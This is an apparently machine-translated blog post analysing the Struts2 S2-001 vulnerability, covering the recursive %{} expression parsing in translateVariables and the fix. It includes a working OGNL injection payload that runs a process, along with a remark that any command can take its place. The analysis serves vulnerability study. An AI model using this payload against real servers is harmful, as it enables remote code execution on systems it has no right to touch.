[JavaWeb] struts 2-001 vulnerability analysis

Python wechat ordering applet course video

https://edu.csdn.net/course/detail/36074

Python practical quantitative transaction financial management system

https://edu.csdn.net/course/detail/35475

Strut2-001

Vulnerability description

When the framework parses the JSP page tag, it will obtain the Value value entered by the user. In obtaining the corresponding Value value, it recursively parses% {,}, resulting in secondary parsing, and finally triggers the expression injection vulnerability to execute arbitrary code

Impact version

2.0.1 ~ 2.0.8

Vulnerability analysis

The environment has been built for a long time... The last one I saw https://xz.aliyun.com/t/2672#toc-2, only success, do not know where the mistake is. Finally, it is found that it is also related to the version of tomcat

Suggestion: if the environment can be built, don't go too deep into why. Don't deviate from the main line – analyze vulnerabilities

Data flow in struts 2: request - < filterStack - > action - < view - > Client

  • First, navigate directly to the doFilter method in the parametersintector
  • Parametersintector first establishes a value stack and stores values through setParameters (for backdoor use, check directly from the value stack)
  • After a series of interceptors, the data will successfully enter the actual business Action. The program will select the corresponding JSP view to display according to the Action processing results, and process the struts 2 tag in the view. As shown in the following figure, in this example, the Action will return error when the user fails to log in.

Then start processing the struts 2 tag in index and JSP

That is, the so-called label rendering, which replaces the label with the established target syntax through file parsing

/**
 TextParseUtil#translateVariables()analysis
*/
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;

        while (true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == '{') {
                    count++;
                } else if (c == '}') {
                    count--;
                }
            }
            end = x - 1;

            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);

                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                	o = evaluator.evaluate(o);
                }
                

                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                if (o != null) {
                    if (TextUtils.stringSet(left)) {
                        result = left + o;
                    } else {
                        result = o;
                    }

                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }

                    expression = left + o + right;
                } else {
                    // the variable doesn't exist, so don't display anything
                    result = left + right;
                    expression = left + right;
                }
            } else {
                break;
            }
        }

        return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    }

The general flow of the above function is to find% {param}, then extract the middle content, truncate the strings on the left and right sides of% {} and divide them into left and right, findValue param, and re splice left+value(param)+right. If not, directly splice the left and right sides. This is a normal tag processing logic (those who have learned the compilation principle should be familiar with it).

Vulnerability: if the parameter value passed in is% {1 + 1} and reaches 29L: findValue(var, asType), recursive parsing will be performed again (it feels similar to ssti) to trigger Expression Inject

Exploit vulnerability

payload:

%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}

Replace calc.exe with another to execute any command

Vulnerability repair

The cause of the vulnerability is nothing more than recursive parsing of strings. So just don't let it parse recursively.

Finally, the official gives the above fix, that is, limit the default number of recursion, rather than prohibit recursion. Guess the official should be to avoid recursive parsing in some cases, leaving room for it.

  • About bloggers: comments and private messages will be replied at the first time. perhaps Direct private letter I.
  • Copyright notice: all articles on this blog are in English unless otherwise stated BY-NC-SA License agreement. Reprint please indicate the source!
  • Support bloggers: if you think the article is helpful to you, you can click * * [recommend] (javascript:void(0) in the lower right corner of the article 😉]** once.

Keywords: Python security computer

Added by rawky on Sun, 16 Jan 2022 18:44:25 +0200